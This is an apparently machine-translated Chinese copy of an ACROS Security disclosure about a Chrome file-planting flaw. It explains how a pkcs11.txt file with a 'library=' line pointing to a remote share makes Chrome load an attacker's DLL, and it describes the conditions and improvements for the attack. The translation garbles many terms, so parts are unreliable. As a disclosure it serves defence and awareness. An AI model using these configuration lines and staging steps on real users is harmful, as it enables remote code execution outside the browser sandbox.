错误允许在Chrome中进行远程代码执行

9月份Actos安全通知谷歌关于一个 铬合金浏览器的特殊行为 可以在特定条件下剥削用于在Chrome Sandbox之外的远程代码执行。它是另一个文件种植的情况,其中应用程序从当前工作目录加载数据文件(与导致二​​进制种植的二进制文件)。与我们之前报道的同样 文件种植 in Java Runtime Environment (如果要使用当前构建1.6.0_29,如果要使用它),Chrome将从当前工作目录的根目录中加载数据文件,即pkcs11.txt,如果文件存在,解析和处理其内容。安全性,PKCS11.txt文件中最有趣的值称为库。在pkcs11.txt中考虑以下行:

库= C:\ temp \ malicious.dll

这条线将指示Chrome加载库C:\ temp \ malicious.dll。要允许远程执行代码执行攻击,它也适用于远程共享文件夹;在我们的演示中,使用以下行:

图书馆= \\ www.binaryplanting.com \ demo \
chrome_pkcs11planting \ malicious.lib.

此外,图书馆文件并未’t必须具有已知的延伸(例如“.dll”),这使得在防火墙上难以阻挡它。

最后,Chrome Sandbox没有’T在此处提供任何保护,因为父Chrome.exe进程完成了加载pkcs11.txt的整个过程。

https,nss和pkcs11.txt

镀铬量“/pkcs11.txt”它第一次需要做任何加密相关的,在大多数情况下都意味着访问HTTPS URL。 Chrome开发人员将此问题追踪到Mozilla之一’S网络安全服务( nss. )库,似乎是一个不幸的情况,在Chrome中给出了这个错误的情况,虽然相同的错误可能存在于集成NSS库的其他一些产品中。

利用条件

如果你仔细阅读前一段,你注意到了两件事:

1. Chrome Loads PKCS11.txt 第一次 它需要PKCS#11功能,直到重新启动之前它就不会再做一次。这意味着,如果用户已经访问过HTTPS地址,或者他访问的任何网站都通过HTTPS加载了图像或任何其他数据,攻击机会消失了。对攻击者来说更糟糕的是,当谷歌是所选搜索引擎时–并且它是默认的 - ,Chrome发送请求。启动时立即确定当地的Google域。这触发了从用户的根源加载pkcs11.txt’S本地系统驱动器并关闭攻击者’在它真正开放之前的机会窗口。

2.文件名中的初始正斜线“/pkcs11.txt”意味着将加载pkcs11.txt 从根到根 当前工作目录,而不是来自当前的工作目录。例如,如果当前工作目录是C:\用户\ James \,Chrome将尝试加载C:\ PKCS11.txt。在共享文件夹案例中,如果当前工作目录是\\ server \ share \ sevenfolder \,则Chrome将尝试加载\\ server \ share \ pkcs11.txt。

那么如何利用这种漏洞?需要满足三个条件:

谷歌不得是所选搜索引擎。 此设置可在选项页面下配置,用户可以将Yahoo,Bing或任何其他搜索提供商设置为所选搜索引擎。我们确认雅虎和冰唐’T发送Chrome的任何HTTPS请求,因此适合安装攻击。

用户不得在攻击前访问任何HTTPS资源。 如上所述,攻击依赖于NSS能力尚未在运行父Chrome进程中初始化。理想情况下,对于攻击者来说,用户将刚刚推出Chrome,而不是访问发送HTTPS请求的任何网站。

铬合金’必须将当前工作目录设置为攻击者控制的位置。 由于Chrome将其当前工作目录设置为您自己的文件夹’S启动时的机器,双击远程共享文件夹中的HTML文件(通常适用于二进制种植攻击)’t达到攻击者的任何东西。我们知道要在Chrome中设置当前工作目录的最佳方式是该文件浏览对话框。如果攻击者可以让用户尝试从她的网络共享文件夹中加载文件,并且在用户使用此文件夹中打开时触发第一个HTTPS请求“Open”对话框,Chrome将从攻击者的根源加载pkcs11.txt’S网络共享并加载其中指定的库。

在线演示

我们准备了一个在线演示 这里。只需使用Chrome打开此页面并按照说明操作。如果你不’T. Chrome Handy,并希望看到如果你这样做了什么,请在这里 ’这个演示的视频:

攻击改进和变化

我们的演示要求您等到攻击完成前达到0,并加载远程DLL。这个等待的原因是确保“Open”对话框已成功加载远程共享文件夹–根据我们的测试,可以在5到30秒的任何地方。真正的攻击不会让您等待:攻击者控制的服务器可以检测指示Chrome的传入请求(SMB或WebDAV)’当前工作目录已设置为其网络共享,然后指示已加载的网页已加载到Chrome中以进行一些HTTPS请求–这将导致Chrome加载PKCS11.txt来自攻击者’网络分享就像我们的演示一样。

目前的工作目录也可以通过“Save As…”对话框和任何其他文件浏览对话攻击者认为她的受害者很可能会被欺骗。

同一漏洞的奇异局部变体也可能在用户在其本地驱动器的根目录中下载文件夹中的极不可能的情况。在这种情况下,所有攻击者都必须做的就是在用户中下载恶意PKCS11.txt’S Chrome(可以以驾驶方式发生,因为.txt不是一个“dangerous”扩展)并等待用户打开“Save As…”对话框,默认情况下打开下载文件夹’s location.

这是一个漏洞吗?

谷歌 决定 这不是一个漏洞,而是一个“[他们]应该考虑改变的奇怪行为”。他们提供的原因是“这里涉及的社会工程层面明显高于‘您的计算机被病毒感染,下载此免费反病毒软件并运行EXE文件以修复它。”

这实际上是难以争议的。来自攻击者’鉴于这两个攻击选择,她可能会更成功“fake anti-virus” one than the “file planting” one. However, the “fake anti-virus”选项可能无法针对企业用户努力,该公司用户可能会阻止它们下载可执行文件,并且可以在技术上允许谁(例如,与Applocker)启动未经授权的可执行文件。此外,参加了至少一个安全意识会议的员工可能会更具疑问“请下载并执行此操作” than an “从此文件夹中打开文件”要求。然后,他们可能不是,谁知道。

无论如何,我们考虑的安全研究人员 任何 “feature”这允许静默下载远程代码及其对用户的执行’没有警告的计算机漏洞。显然,相同的标准不能适用于乔平均水平和在核电站工作的人,以及它’如果谷歌没有,这并不是什么大’分享我们的漏洞标准(安全专家一直不同意许多事情),但谷歌’S推理开辟了一个有趣和重要的问题:社会工程过多有多少?

微软’S安全智能报告第11卷显示(基于Microsoft’S数据)2011年上半年的88%的攻击取决于他们所说的话“user interaction” and “feature abuse”,两者都是一般认为是什么的一部分“social engineering,”即,让用户做一些他们否则的事情’t. While this doesn’T回答上述问题,它阐明了普遍普遍,成功,社会工程似乎在那里的真实攻击。随着技术安全对策阻止越来越多的攻击路径似乎是合理的,攻击者将寻找阻力最小的剩余路径:技术阻力和社交之一。

我们能学到什么?

1.从不受信任位置加载数据文件可能是危险的,这包括当前工作目录。操作项:在测试应用程序时触发过程监视器,看看它们’re loading.

第三方库可以将漏洞引入软件,并且可能仅进入您的软件。操作项:使用第三方库,其开发人员在修复或至少您可以修补自己。 (幸运的是,NSS库幸运的是这两个属性。)

3.对某些人来说是什么脆弱性,这可能只是对他人的奇怪行为,以及那里’没有告诉谁的行业标准’右。 (虽然我们可能会同意实际的攻击者始终是对的。)此帖子中描述的问题的行动项:确保您的Chrome主页是HTTPS地址或加载至少一个HTTPS资源,并且您赢了’t have to care who’s right.

作者:Mitja Kolsek,首席执行官 acros安全.

分享这个